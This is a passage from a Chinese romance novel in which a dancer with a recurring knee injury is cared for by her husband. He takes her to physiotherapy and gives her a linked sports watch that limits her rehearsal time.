黎晚棠还是照常排练,空余时间就会去琢磨她那段比赛的舞蹈,下个星期就要彩排了,她得珍惜每一次排练的机会。 由于膝盖旧伤复发,大跳跃的动作她不敢用力,下班就准时泡脚敷药,这几天痛感逐渐减轻。 这天,她刚从排练室出来,黎晚棠就接到叶知薇打来的电话:“棠宝,你真是我的福星。” 黎晚棠弯唇笑了下,不用猜,她肯定是拿到程晏川的独家采访了。 看来傅砚深的办事效率确实很高。 “那就好好准备采访稿,别辜负我的付出。”黎晚棠突然嘱咐道。 “那当然,采访提纲我交给主编审核了,她说没有问题。”叶知薇好奇,笑眯眯问:“棠宝,你是怎么说服傅砚深的?” “……” 细节就没必要知道了吧? 黎晚棠下意识舔了舔唇瓣,脑子里又冒出那晚两人接吻的画面,她忙摇头:“……就随口提了下啊,看来傅砚深还挺给我面子,真去跟程晏川说了。” “就这么简单?”叶知薇有点不信。 从黎晚棠对傅砚深的描述来分析,他属于那种为人正派的处事风格,应该不喜欢私下扯关系的行为。 现在几句话就能说服他,她可不信。 黎晚棠心虚时,声音要比平时大几倍:“哎呀,就说两句话有什么难的,我这个老婆的面子,他肯定是要给的。” 看到逐渐从排练室出来的同事,她压低声音道:“行了,我要去冲澡,不跟你聊了。” 挂断后,黎晚棠深吸了口气。 本以为白露晞够八卦了,现在跟叶知薇比,简直是大巫见小巫,她不刨根问底,誓不罢休。 黎晚棠最近都是准时上下班,有同事碰到她,会笑着打趣:“晚棠,看来你对这次准备的作品信心十足啊,这几天都没看到你留下来排练。” 膝盖旧伤的事她谁都没说,弯唇笑道:“跳自己擅长的舞蹈,还行吧。” 温若棠恰好从另一间排练厅出来,听到她这话轻扯了下唇,余光瞥见不远处的罗恩,亲昵喊道:“罗恩,真是辛苦你了,下班还要留下来跟我陪练。” 罗恩偏头看到走廊上黎晚棠,笑着打招呼:“晚棠,下班了。” 黎晚棠点头:“嗯,累了,想回去休息。” 她瞥了眼洋洋得意的温若棠,突然来了句:“师哥,明晚你还有演出吧,也得好好注意休息。” 这话落下,温若棠脸上笑容瞬间消失。 她转身时,还狠狠地瞪了她一眼。 黎晚棠笑着收回视线,跟着同事继续往大门口走。 “罗恩真挺负责的,他好几次下班都留下来陪练,我那天在门口看了眼他们的舞蹈,两人配合度很高。” 黎晚棠嘴角笑容微敛了几分,垂下的眼眸不知在想什么,同事跟她分别挥手,她才回神。 到家后,傅砚深还没回来。 黎晚棠趁他不在,快速泡脚,敷药按摩膝盖。 如果让他知道自己膝盖旧伤复发,担心他不会撒谎的性子,容易把这事说破。 刚收拾完,门铃在这时候响了起来,黎晚棠拿药箱的动作顿住,偏头看去。 不知道会是谁,她先把药箱放好,而后迈着小碎步跑去玄关,俯身通过猫眼往门外看,从衣服颜色判断,好像是快递小哥。 黎晚棠拉开门,穿着黄色工作服的人映入眼帘,确实是快递小哥,送的还是她的快递。 接过快递对人说了句谢谢,关上房门后,她低头盯着手里的盒子来回看了看。 忽而想起,这是叶知薇寄给她的那盒巧克力。 前两天她刚跟她要过地址。 得知是她盼望已久的巧克力,黎晚棠抱着盒子去往厨房,找出剪刀开箱,没空去欣赏包装盒,急忙拿出一颗放入嘴里。 甜蜜的味道在口腔内化开,口感丝滑细腻,吃完后嘴里还留有一股淡淡的清香。 不愧是六千元一盒的巧克力,比瑞士莲好吃太多。 黎晚棠舔了舔唇,目光又落在那盒巧克力上,暗暗告诫自己,再吃一颗,多一颗就让自己肥死。 这般想着,第二颗已经放入嘴里。 怕自己忍不住,黎晚棠仰头环视一圈,最后把那盒巧克力放厨房的储物柜里。 转身去水吧台接了杯温水,她刚喝了两口,门外传来动静,下一秒,傅砚深开门出现在玄关。 两人目光对上,黎晚棠先开口:“你回来了。” 傅砚深嗯一声,弯腰去换鞋。 放好鞋子起身,见她还在喝水,他长腿迈入客厅,边解领带边问:“晚饭吃过了吗?” 黎晚棠晚上本来就不怎么吃东西,何况刚吃完两颗巧克力,现在肚子一点也不饿,随口道:“在舞团吃了点东西,现在不怎么饿。” 傅砚深也知道她晚上吃得少,所以没特意请阿姨,如果她想吃,他也会做。 “我先回房去换衣服。”他说。 黎晚棠点头,端着水杯来到客厅沙发坐下。 等了一会儿,傅砚深换了套家居服出来,颜色深沉,款式依旧老气。 两人平日没什么话聊,黎晚棠捧着杯子慢悠悠喝着,听到他打开冰箱,好像是准备做饭。 她诧异回头,以为他只是早餐在家里吃,没想到晚饭也是他自己煮。 厨房台面干净如新,她还以为是摆设。 傅砚深捕捉到她转身的动作,抬头问:“我会煮一些低热量的食物,你确定不吃点?” 低热量能有什么好吃的食物? 心里虽是这般想,但黎晚棠还是放下杯子,起身走了过去:“你打算做什么?” “香煎牛排,虾仁蒸豆腐,一个清炒时蔬。” 傅砚深低头整理拿出来食材,分类好,抬头看她:“如果你想要喝汤,还可以做个海鲜汤。” “我又没说要……” “吃”字还没说出口,黎晚棠回想他刚才报的那几个菜名,默默把不吃两字咽了下去:“不用,这几个菜就行。” 没吃过傅砚深做的饭,但从他早餐的卖相来分析,味道应该还不错,她稍微吃点,也不会影响体重。 傅砚深没再说话,低头认真准备食材。 “需要帮忙吗?”黎晚棠客套问他。 她在家虽然没干过家务活,但做些简单的应该可以,不然光吃不做,她内心有点过意不去。 “洗菜会吗?”傅砚深知道她是想参与,把最简单的交给她。 黎晚棠信心十足:“这个我当然会!” 说着,她主动拿过料理台上的蔬菜,放入沥水蓝,转身去清洗。 夕照透过玻璃窗洒入,将室内染成了一层绯红,也将两人的身影倒映在地板上,影子被拉得斜长。 安静的空间里,这一刻的气氛显得格外温馨。 黎晚棠低头洗菜,傅砚深则是腌制牛排,各干各的,谁都没人开口说话。 放水清洗第二遍时,黎晚棠这才偏头,去看了眼另一头忙碌的男人。 牛排被他整齐摆放在餐盘,鸡蛋液搅拌均匀装入碗中,虾仁按方向排列。中途有料汁粘在台面上,他会及时擦干净,确保整个台面是干净清爽的状态。 看到这,黎晚棠眉眼微皱,没忍住问:“你不管做什么都要这般井然有序,整整齐齐,这样不累吗?” 她身边也有洁癖的朋友,像傅砚深这样既有强迫症又有洁癖的人,真的很少见。 而且他好像比别人还严重。 傅砚深打开油烟机,开始煎牛排:“不会,太凌乱,我看着会不舒服。” 黎晚棠忙问:“所以我平时用东西都很乱,你是不是也看不惯?” 跟他相比,她所有物品都算乱的。 傅砚深偏头看她一眼,实话实说:“嗯,但我会帮你收拾。” 好吧,她瞬间没脾气了。 话题突然终结,黎晚棠洗完菜放在一旁,闲着没事,索性偏头看他煎牛排:“你会做饭,我还蛮惊讶的。” 堂堂老总还会做饭,而且还是傅砚深这种衣食无忧的大少爷,确实难以想象。 “吃不惯国外的食物,就打算自己做,看了几次视频,感觉做出来的食物还能入口。” 傅砚深手上动作有条不紊,看似经常在家下厨:“而且外卖不干净,我一般会选择自己动手。” 黎晚棠感觉跟他聊不下去了,他们根本就不是同一个世界的人,她是能叫外卖,坚决不自己动手。 她跟他恰恰相反。 这几样食材烹饪起来并不复杂,等两人坐在餐桌,正好半个小时。 不对,确切来说应该是二十五分钟,有五分钟是傅砚深打扫卫生的时间。 厨房台面彻底纤尘不染,他才肯罢休。 黎晚棠看了眼盘中的牛排,香味扑鼻,放入嘴里咀嚼后,味道意想不到的惊艳。 看来他说的能入口,着实是谦虚了。 饭后有洗碗机,两人都不需要动手,休息半个小时,黎晚棠换上舞蹈服,开始今天的晚功。 吃得太多,她担心会长肉,而且得知温若棠跟罗恩都争分夺秒的排练,莫名的危机冒出。 傅砚深吃饭就去书房处理公事,偌大的房子里,两人互不打扰。 直到一声巨响传来,他顺着声音疾步出门,径直来到舞蹈房。 当看到摔倒在地,侧身捂着膝盖的黎晚棠,他小跑上前,忙蹲下身查看她的情况:“伤哪里了?” 近距离看,女孩额头冒出细密的汗水,不知道是疼的,还是跳舞出来的,总归脸色不太好。 黎晚棠看到他出现,抿唇摇头:“没事,就不小心摔了下。” 刚刚旋转速度太快,膝盖突然一阵抽疼,她来不及站稳,直接摔倒在地。 傅砚深见她情况并不好,抬手扶她:“走吧,我们去医院看看。” 黎晚棠就怕这事惊扰到父母,摇头:“没事的,歇会儿就好。” 知道这姑娘倔,傅砚深眼眸微垂,起身准备去拿手机:“行,那我打电话问问沈阿姨,你平时跳舞摔倒都是怎么处理的。” “别!我是膝盖旧伤复发,涂点药就好。”黎晚棠忙喊住他,就怕他打这通电话。 傅砚深眉头紧蹙,膝盖的事之前他有听沈听荷嘱咐过,黎晚棠旧伤一旦复发,需要立马去医院。 膝盖对于舞蹈演员来说,非常重要。 傅砚深转身返回,直接弯下腰,不由分说地将人从地板上抱了起来。 “如果不想让叔叔阿姨们知道,就乖乖去医院。” 第17章 黎晚棠原本还在挣扎的动作,在听到傅砚深这句话后,瞬间停了下来。 沈老师非常在意她的身体情况,如果知道她膝盖旧伤复发,恐怕这次内部比赛也不会让她参加。 但这是一个难得的机会,她想要争取。 冷静下来,黎晚棠才发现两人距离靠得很近,姿势也格外亲密,除了舞蹈需求,她第一次被异性公主抱,身体和心理上都有点不习惯。 她垂在两侧的手无处安放,感觉放在那里都不合适。 见傅砚深抱着她就要往玄关走,黎晚棠急忙出声:“……你就打算这样出去吗?” 她不方便换衣服,但他可以的。 经她提醒,傅砚深低头看了眼,一心只想着去医院,把换衣服的事忘了。 他垂眸看她:“还能坚持吗?” “你把我放沙发上,不碰到膝盖,没事。”黎晚棠指向客厅的位置。 傅砚深点头,抱着她来到客厅,轻轻把人放坐在沙发上。 起身时,他又说:“我很快。” 确实很快,黎晚棠还来不及掀开裤子查看情况,傅砚深就回来了。 身上的家居服换掉,又恢复平日的精英模样。 傅砚深俯下身,再次将她抱了起来,走了几步发现她僵硬的姿势,低沉出声:“抬手搂住我脖子,这样你能舒服点。” 要不然她身体紧绷着的,他抱着也会吃力。 “哦。”黎晚棠抬眸看他一眼,小心翼翼伸出右手勾住他的脖子,两人距离再一次拉近,她侧脸直接贴在他心脏的位置,心跳声很清晰。 傅砚深抱着她一路来到地下车库,上车后,黎晚棠开口:“不用去医院,你直接把我送到理疗院,王师傅清楚我膝盖的情况。” 傅砚深目光在她脸上停留了两秒,确认她不是抗拒就医,低声嗯了声:“你说一下地址,我导航过去。” 黎晚棠快速报了一个地址。 傅砚深听完眉头微蹙,好像是他们再次重逢的地方。 也是她之前相亲的地点。 傅砚深没说话,安静地转动方向盘,平稳使出地库。 夜间车流量不大,半个小时后,两人抵达理疗院。 傅砚深停好车,绕过车头,开门把黎晚棠抱下来。 连着抱了好几次,黎晚棠不像最开始那么生疏,下意识勾住他的脖子,整个人窝在他怀里。 女孩如此自然娴熟的动作,让傅砚深脚步微顿,漆黑的眸子盯着理疗院门口的路灯,很轻地眨了眼睫,才继续向前。 刚才在车上,黎晚棠就提前跟王师傅打过电话,此刻他早早就在门口等着,看到两人进来,带着几分焦急地走近。 “不是说这阵子都不会过来找我,这才几天,就严重成这个样子。” 王师傅的目光一直落在黎晚棠身上,语气带着几分无奈。 黎晚棠也觉得脸热,打脸来得太快,她微扯了扯唇:“……我也没预料到会复发。” “你呀,肯定是没注意休息,偷偷加大排练强度了。” 王师傅撩起她裤子看了眼,叮嘱:“走吧,先去我办公室。” 傅砚深抱着黎晚棠全程没说话,目光却注意到眼前这位叫王师傅的男人,在车上,他还以为是个年过半百的专家,看到本人,也就三十几岁,模样很年轻。 从他们交流中不能看出,他和黎晚棠关系很熟,而且他还很清楚她的的情况,了解她工作的常态。 而这些,都是他不清楚的事。 傅砚深眼眸微垂,抱着黎晚棠跟着他进了办公室。 将人放在诊疗床上,王师傅戴上手套开始仔细检查。 转身时,才发现一直站在黎晚棠身旁的男人,他抬眸,认真地打量起他来。 他西装革履,身材高大有型,鼻梁戴了副金边眼镜,斯文矜贵,周身气质不仅没被那副眼镜压住,反而散发着沉稳与冷静。 刚开始他注意力全在黎晚棠身上,还以为陪着过来的是她家司机。 现在仔细看,拥有这般气质的人,绝不可能是司机。 王师傅收回视线,低头继续去检查,状似随口问道:“送你过来的这位,是你朋友?” 黎晚棠忍着疼,抬头时正好跟傅砚深对视上,男人淡然地看着她,那张面无表情的脸上,似乎也想看看她要怎么回答。 “不是,他是我……老公。”后面这两个字,明显喊得不太自然。 王师傅诧异抬眸,目光再度落在傅砚深脸上,他微收的瞳孔,能看出非常惊讶。 傅砚深对上他的视线,礼貌地朝他颔首:“你好,我叫傅砚深。” 他的自我介绍,让王师傅猛然回神,弯唇笑了下:“你好,晚棠突然结婚,我确实没想到。” 说着,他低头去看她膝盖情况时,嘴角笑意敛没:“没有骨节错位,突如其来的疼感应该是旧伤复发了。” 王师傅捏着她的脚踝动了动,看到黎晚棠皱起的眉眼,问:“是不是跟之前一样,稍微动一动关节就会疼?” 黎晚棠点头:“嗯,情况一样。” “行,那就先用毛巾热敷,然后用超声波治疗。” 王师傅扯掉一次性手套丢进垃圾桶,出去准备热毛巾:“你先在这里躺着。” “好的,麻烦你了王师傅。”黎晚棠偏头感谢。 等办公室里只剩下他们两人,傅砚沈低声问:“你以前膝盖受伤,就是一直找他治疗?” 黎晚棠点头:“嗯,平时我腿部做理疗也会来这里,大家都熟了,就没怎么去医院。” 说到这,她又道:“膝盖的事,你千万别跟我爸妈说,我不想让他们担心。” 傅砚深不知是生气她不爱惜自己的身体,还是因为看见今晚的人,语气有点沉冷:“明知道膝盖受过伤,训练强度还那么大,你是想以后都上不了台。” 口吻严肃正经,如果不是声线不对,黎晚棠以为是沈老师过来了。 以往她要这样不顾身体排练,沈老师也是用这样的语气斥责她。 而且,今晚的傅砚深好像格外严肃。 黎晚棠微垂下眼睫不吱声,是因为无从反驳。 傅砚深见女孩不说话,语气又柔了几分:“暂时不说。” 黎晚棠抬头:“什么叫暂时?” 意思他现在不说,之后还是要告诉他们。 “看你接下来的配合度,决定我说与不说。”看似威胁她的话,傅砚深语调却不变。 “你……” 看到王师傅推着仪器进门,黎晚棠忙把后面的话压了下去。 这里不合适跟他争论。 她现在的膝盖先开始热敷,然后进行超声波治疗。 等治疗结束,已经是一个半小时后。 临走时,王师傅特别嘱咐,说她这两天都需要过来做治疗,后期看情况再定。 黎晚棠笑着感谢,这次乖乖点头说好,告别后,傅砚深抱着她再次回到车里。 她还记着在办公室不愉快地聊天,别过头看向窗外不说话。 现在双腿疼痛减少,动作能稍稍放松些许。 傅砚深看了眼她的坐姿,默默把车速降了下来。 回到家,已经是十点之后。 黎晚棠被傅砚深一路抱回卧室,把她放坐在床尾凳上。 他起身时,低声道:“我就在门外候着,你洗澡有任何不方便,可以随时叫我。” 黎晚棠脸颊微红,洗澡就算是不方便,叫他进来能干嘛,两人干看着,尴尬都能尴尬死。 这话她没明说,也没反驳,只闷闷出声:“好。” 等人出了卧室,黎晚棠慢悠悠站起身,去衣帽间拿出睡衣,又慢吞吞进了浴室。 就算很简单地冲洗,也用了半个小时。 等她躺在床上,傅砚深正好开门进来。 从他更换的衣服来看,已经在外面洗过澡了。 这会儿,他手里拿着杯温水,走上前递给她:“少喝点,润喉。” 黎晚棠刚要说谢谢,猛然想到他之前说过的话,又咽了回去,接过后仰头喝了几口。 是甜的,有股淡淡的蜂蜜味。 她抬头看他:“你往水里放蜂蜜了?” 傅砚深接过杯子,转放在床头柜上,掀开被子上床:“嗯,不喜欢喝?” “喜欢,我喜欢吃甜的。” 兴许是喝过蜂蜜水的原因,黎晚棠心情好转,把理疗院那点不愉快抛之脑后。 傅砚深见她表情有所改善,轻声道:“明天请假在家休息一天,别去舞团了。” 黎晚棠想到自己这个情况,沉默了会儿,点头:“嗯,我现在跟团长发个信息说一声。” 傅砚深见她这么听话,脸上表情柔和下来,等她发完信息,出声提醒:“睡吧,明天不用早起,记住你现在需要好好休息。” “嗯,知道了。” 傅砚深抬手关灯,屋内瞬间陷入黑暗- 次日清晨,黎晚棠很早就醒过来一次,想到今天休息,又放松地睡了过去。 再次醒来,天光大亮,从窗帘透进的光线分析,这会儿应该不早了。 黎晚棠下意识活动了下右脚,感觉睡了一晚,确实没那么疼了。 掀开被子准备下床,她脚尖刚触碰到柔软的地毯,房门忽然被人从外打开,黎晚棠抬头时,恰好与傅砚深对上。 她表情愣了下,诧异问:“你今天也没去公司吗?” 傅砚深抬步走近,低头查看她的情况:“你都这样了,如果再把你一个人丢在家里,我这个做丈夫的岂不是很失职。” 黎晚棠挑了挑眉,忽而弯唇笑了:“看来沈老师没说错,你确实很有责任心。” 傅砚深下意识问:“沈阿姨夸过我?” “何止是我妈啊,连我爸都认准你这个女婿,在你身上他们半点毛病都挑不出来。” 黎晚棠难得会跟他聊这些。 还以为傅砚深听到这话会暗自窃喜,并说一些谦虚的客套话,没料到他却冒出另外一句。 “看来我需要做得更好,才不辜负他们对我的厚望。” 黎晚棠:“……” 他果然跟正常人的思维不一样。 傅砚深弯下腰,把人从床上抱了起来:“从现在开始,你能不用脚,尽量别下地走动。” 身体忽然被悬空抱起,黎晚棠本能勾住他脖子,仰头时,目光从男人下颌角扫过,线条流畅自然,鼻梁从这个角度看过去,又高又挺。 她脑中不由想起,叶知薇以前在她面前不经意说过的话。 ——男人鼻梁高挺,鼻头大,那个部位小不了。 如果按照这样来分析,那傅砚深岂不是了不得! “想什么呢?” 男人低沉的声音突然在耳边响起,黎晚棠猛然回神,察觉他们已经进了洗手间。 她侧眸快速瞥了眼他,心虚垂头:“……没想什么,放我下来吧。” “嗯,好了叫我。” 傅砚深将她放下后,并贴心帮她关上房门。 等人出去,黎晚棠对着镜子,察觉耳根都红了,脸颊也有点,快速低头去洗脸。 看来她平日受叶知薇的熏陶入骨,一个从未谈过恋爱的人,却有着丰富的想象力经验。 虽然没实践过,却也只差实践了。 洗漱完出门,刚到门口,就看见守在一旁的男人。 有过多次抱她的习惯,傅砚深下意识将人抱起,径直往餐厅走去。 坐好后,黎晚棠舔唇提议:“要不我还是买个轮椅吧,老要你抱来抱去,怪麻烦的。” 他们虽然是夫妻,但老麻烦他,她也过意不去。 更不想欠他太多。 “先看你这两天的情况,如果没好转,再安排轮椅。” 他都这么说了,黎晚棠也没说别的,低头开始吃饭。 饭菜营养丰富,味道也一如既往的好。 吃完饭,黎晚棠刚准备热敷膝盖,顺便擦药,傅砚深这时却从书房拿出两个盒子,径直朝她走来。 从外包装看,好像是手表。 “你这是?” 傅砚深当着她的面,拿出盒子里的手表:“这是运动手表,我找人改装了里面的程序,现在不仅能监测心率,还能监督你的运动量,如果力量过重或时长太久,它都会以震动的方式提醒你,今日膝盖的承受力超标了。” 黎晚棠听完,惊诧地睁大眼睛:“现在市面的运动手表,功能都那么强大了吗?” 说着,她抬手拿过来细细打量,很轻不重,表带使用特殊材料,摸起来很柔软,表盘的外观设计简洁典雅,看起来更像一块时尚手表。 “你膝盖旧伤就算这次治疗好了,也不能保证下次会不会复发。” 傅砚深看她,语气带着不容置疑:“而且你说马上要比赛了,作为你法律上的监护人,这个时候,我需要对你的健康负责。” 黎晚棠目光从手表上收回,抬头去看他:“你意思是,我以后排练都需要戴上它?” 傅砚深:“这是防止你膝盖旧伤复发的最好办法,也能监督你每天的排练时长。” 黎晚棠没说话,低头去看盒子里的另一块:“多出来的这块手表,是干嘛用的?” 傅砚深伸手取出盒里的手表,低头戴到自己手腕上:“两块手表的监测信息能共享,你运动量超时,我的会同时震动。” 听完他的解释,黎晚棠瞬间不干了,这跟远程监控她有什么区别,如果那样,她还有什么生活自由! “不要,你拿回去吧,我平时会控制好排练时常,膝盖也会注意。” 她把手表放回去,低头继续去擦药。 傅砚深像是意料到她会抗拒,慢条斯理地收拾桌上盒子:“不戴也行,如果我不能保证你的健康,这个任务就交给沈阿姨他们。” “……” 黎晚棠蓦地抬头,气呼呼地看向他:“傅砚深,你太幼稚了,动不动就要打小报告!” 从昨晚到现在,这招让他百试不爽,把她拿捏得死死的。 她有点窝火。 傅砚深回视她,平淡叙述:“我无能为力,便去找有能力的人。” 意思这跟打小报告不同,他只是用最直接的方式,来解决这个问题。 黎晚棠别过头,对着虚空深呼吸了好几次,她现在是看出来了,要想跟傅砚深谈判,她永远输的那方。 再回头,她狠狠咬牙:“行,算你狠!” 下一秒,黎晚棠气呼呼地把手腕伸了出去,仰头时,模样犹如骄傲的女王,带着几分命令语气。 “来吧,帮我戴上。” 第18章 傅砚深望着眼前这只纤细白皙的手腕,腕骨很小,仿佛轻轻一折就会断。 从女孩语气来看,似乎并不情愿,此刻动作却又带着几分可爱。 为了她的健康着想,傅砚深没作任何犹豫,拿过盒里的运动手表,低头帮她戴上。 男人温热且干燥的指尖握在她腕骨两侧,指腹不断传递着热度,让黎晚棠身体微微一僵。 不过很快她又放松下来,依旧昂头骄傲地望着他。 直到男人慢条斯理帮她彻底戴好,两人拉开距离时,她微不可察地松了口气。 两人刚刚靠得太近,她就算微屏着呼吸,依旧能闻到傅砚深身上那股沉香味。 淡淡的,多闻几次,还莫名觉得蛮好闻。 黎晚棠视线落在腕表上,晃着手腕来回欣赏,表盘没有多余的修饰,触摸屏按亮时,显示出多种颜色,每个颜色代表着不同的功能,表盘大小也正合适她。 她目光侧移,偷瞥了眼傅砚深手上那支,款式外观都一样,就是男女款的大小不同。 这么看着跟情侣款无异。 黎晚棠看了几眼便收回视线,低头继续去涂药。 “你除了洗澡睡觉不戴,平时最好不要轻易取下来。”傅砚深低声补充:“这样会更准确。” 黎晚棠忽然想到什么,抬头问他:“这块手表没有定位功能吧?” 傅砚深黑眸微顿,随即摇头:“没有。” 定位没有,但可以位置共享。 黎晚棠放心了,起码自己去那里的行踪,不是被他时时监控着。 送完手表,傅砚深便返回书房接着忙工作,黎晚棠闲着没事看了会儿书,然后又打开电视。 期间,她能隐隐听到书房内传来的说话声,傅砚深看起来好像很忙。 金融这行她不是很了解,但听叶知薇说过,是个极其费脑费神的工作,平时耗费的精力比较大。 思及此,黎晚棠忍不住再往书房看了几眼,再次盯着电视时,心不在焉的想着。 傅砚深作为老公确实称职,更是个合格的丈夫,他好像并没有因为工作的繁忙,而不管家中受伤的妻子。 意识到这点,黎晚棠想着自己能做的事,尽量不去麻烦傅砚深。 只是这会儿她要回房去上洗手间,中途路程有点远,她需要一瘸一拐扶墙走过去,按照这速度估计能把她憋死。 犹豫再三,黎晚棠带着几分羞涩开口:“傅砚深,你……现在方便吗?” 或许是考虑到她在客厅,书房门并未关严实。 正在开视频会议的傅砚深,听到黎晚棠的呼叫,立马对视频里的人做了个暂停手势。 他淡然站起身,语气平静道:“稍等一下。” 此刻坐在会议室里的其他人,面面相觑几眼,见傅砚深消失在屏幕,偏头低声讨论起来。 “刚才我没听错,是个女人的声音吧?” 有人笑道:“错不了,没看见傅总手上带着婚戒吗,没准就是傅太太。” “肯定是傅太太,要不然谁胆子那么大,敢连名带姓这么喊傅总。” 有高层接话:“能看出我们傅总很在意傅太太,从不在工作时间办私事的傅总,这次不仅在家办公,还中途缺席会议,这可是从来没有过的情况。” “傅总新婚嘛,我们大家要体谅一下。” 这话成功把众人逗笑,也只有傅砚深不在,他们才能如此放松,敢聊几句玩笑话。 傅砚深快步来到客厅,低头询问黎晚棠:“怎么了?” 以为是她膝盖不舒服,目光第一时间落在她双膝上。 察觉他的视线,黎晚棠羞赧地舔了舔唇,瓮声开口:“就…就是我想上洗手间。” 她这句话说得磕磕绊绊,说完耳根都红透了。 得知她不是膝盖疼,傅砚深并不认为,上个洗手间会是什么难以启齿的事情。 所以,也并未注意到黎晚棠已经泛红的耳朵。 他弯下腰,左手穿过她膝弯,将人打横抱起:“抱歉,一直在忙,疏忽了。” 公司有个收购案一直谈不拢,各高层正开会出解决方案,他工作期间思维投入过高,忘了黎晚棠会有下地的需求。 听他这么说,黎晚棠越发觉得不好意思,要是别的事还好,唯独是喊人家抱她去上那个厕所,头垂得更低了:“没事,倒是耽误你工作了。” “不会。” 傅砚深抱着她来到洗手间,而后轻轻将黎晚棠放下,确定她站稳,才转身关门:“我在门外等你。” 黎晚棠刚要嗯一声,忽然想到什么,眼眸微眨:“那个,你还是…走远点吧。” 他家隔音效果虽然不错,但一想到他就在门口等着,她会紧张得尿不出来。 傅砚深回头时,余光不经意瞥见女孩微红的耳朵,随即点头:“好,我去卧室外面。” 等人离开,黎晚棠扶着墙壁加快挪步的动作。 嘶,真憋坏了。 洗完手出来,她一点点推开洗手间的门,此刻守在卧室门外的人听到声音,快步推门进入,上前又二话不说,将她抱回客厅的沙发。 走之前,他还给她贴心地倒了杯温水:“有事叫我。” 丢下这话,傅砚深快步进入书房,这次黎晚棠清楚听见他说出的那几个字:“会议继续。” 黎晚棠:“……” 所以这期间,他一直在开会议视频,而且还没关? 她仰头盯着天花板细细回想,刚刚在客厅,她应该没乱说什么不堪入耳的话。 好像只说了句她要上厕所。 上厕所? 不明所以的人,如果去试想这个画面…… 黎晚棠嘴角微抽,而后狠狠闭上眼,这会儿真想找块豆腐,一头撞进去。 也不知道会议室里的人听没听到,要是用这种方式让他们知道她的存在,感觉好丢脸。 黎晚棠抓过抱枕往沙发上一躺,双脚在空中胡乱蹬了两脚,膝盖顿时传来的疼感,让她皱眉轻嘶,躺着不敢乱动了- 在家休息这两天对于黎晚棠来说,非常难熬。 好在三次超声波治疗后,膝盖有显著地改善,她现在下地没什么大碍,就是排练时间需要缩短。 王师傅千叮万嘱,她现在一天的排练不能超过四个小时。 傅砚深抓住这条嘱咐,所以在她去舞团上班的第一天,就开始短信和电话的轮番提醒。 比闹钟还准时,比她妈还唠叨。 “嗯,我知道,你好好上班吧,别老惦记我这边。”黎晚棠挂掉电话,轻吐出口气。 白露晞见状,笑着调侃:“还是你老公?” 从早上到现在的午饭时间,这已经是第三通电话,每次聊天的时长很短,好像就是为了叮嘱,要黎晚棠多注意休息。 黎晚棠放下手机,看白露晞一眼,低头去吃饭:“嗯,这几天他跟个老妈子似的,有点烦人。” 父母了解她的性格,就算要唠叨她,也会点到为止。完全不像傅砚深,就算她语气很敷衍了,他仍旧雷打不动的打电话。 每隔一个半小时就会准时响起,就跟设置了某种程序,非打不可,死心眼得很。 黎晚棠没被人这般盯着做一件事,耐心告馨。 白露晞轻挑了挑眉,认为她是身在福中不知福,被人这么放在心上,要是她都感动死了。 “哎,你老公关心你还嫌烦,你看那些离婚的,不就是受够了丈夫对自己冷言冷语,不管不顾,最后日子过不下去,才离婚的嘛。” 白露晞苦口婆心地劝道,说长得帅还有钱,又对自己上心的老公,这年头上那里找去:“所以你要学会享受,你老公对你的关心。” 黎晚棠不以为意,扯唇笑问:“那有没有,被老公管烦了去离婚的?” “也有啊。”白露晞说完才反应过来,忙改口:“但你不要会错意啊,你老公不是在管你,而是关心,两者概念不同。” 黎晚棠微挑了挑眉,好像见过傅砚深的人都说他好,她父母是,叶知薇是,白露晞也是。 难道是因为他长得好,就多了层滤镜? “咦,你这块手表好眼熟呀,之前没见你戴啊。” 白露晞放下筷子,伸手牵过她手腕仔细瞧了瞧,眼眸忽睁:“我去!这不是爱彼家最新售卖的那款运动手表吗,据说功能很强大,堪比一个最强大脑,价格贼贵!” 黎晚棠咀嚼的动作微顿,也顺势低头看去。 傅砚深拿给她时,她看不出是什么品牌,而她平时对这方面研究不深,不太了解手表。 只是听傅砚深说让人改动了监测程序,就以为是个定制款。 收回思绪,黎晚棠问:“贼贵是多贵?” 白露晞一怔:“啊,不是你自己买的?” “不是,是我……”称呼傅砚深老公,黎晚棠觉得别扭,索性改口:“我先生给的。” “哦,他是为了监测你平时的排练时长,才特意送你这块运动手表。” 白露晞想到她请假休了两天,瞬间得到答案。 黎晚棠点头,而后又皱眉问:“快说,多少钱?” 太贵的话,她不会心安理得地收下,她和傅砚深之间,不希望欠他太多,虽然他们是夫妻,但没有任何感情,黎晚棠还是想跟他分清楚好点。 “好像二十几万吧,我查查啊。”白露晞立马翻出手机,跑去爱彼官网查看价格,等找到后,忙把屏幕推到黎晚棠面前:“你看,是二十六万。” 她说这话时,还倒吸了口凉气。 心想真他妈贵! 黎晚棠盯着上面的价格看了看,又去看下面介绍的功能信息,目前售卖这款的功能,确实没有她手腕上这块齐全。 运动超时报警程序,应该是特别定制的。 黎晚棠抿了抿唇,目光再次落在自己手腕上,心想,她也得送傅砚深同等价格的东西才行。 对于送男生东西,她是真没经验,所以谦虚请教了叶知薇,可从她那里得到的答案,不是手表就是领带,要不就是袖扣,以及豪车。 要送傅砚深豪车她送不起,领带和袖扣的价格又不对等,手表就更不合适了。 黎晚棠后来想了想,要送就送傅砚深自己喜欢的东西,那样才不白浪费钱。 她现在经济独立,不用父母给的卡,所以二十几万对她来说,也是她一年的工资。 先摸摸底,看他喜欢什么东西再说。 黎晚棠下班时间比傅砚深早,回到家泡脚已经成为习惯。 明天就要彩排了,下午团长还叫她去办公室,询问她膝盖的情况。 “晚棠,你这次膝盖旧伤复发,明天的彩排能上台吗?” 黎晚棠进来之前,就意料到了团长的担忧,诚恳道:“目前还在恢复中,大跳跃的动作还是会影响,但我会全力以赴。” “我会正常参这次比赛,不会让您失望。” 收回思绪,黎晚棠泡完脚见时间还早,又换上舞蹈服,想着再去排练一个小时。 然而曲目才进行到一半,房门突然被人敲响,接着傅砚深的声音传了过来。 “你今天的排练时间已经完成,若再练下去,程序就要报警了。” 黎晚棠动作忽顿,一回头就看见站在门口,身穿黑色西装的傅砚深。 男人一丝不苟的领带还系在衬衣顶端,能看出他进门很急,都还来不及摘下领带。 估计是看到腕表的时长提醒了。 她低头看了眼腕表,练习时长哪里已经显示红色,并跳到最高那格,若再练下去确实要报警了。 黎晚棠轻喘着呼吸,商量道:“明天就要彩排了,我这几天都没怎么练,再练半个小时行吗?” 此时的傅砚深像个不近人情的资本家,说了不行就没有再商量的余地。 他面无表情地看着黎晚棠,语气严肃:“你既然接受这个游戏规则,就不要半途而废。” 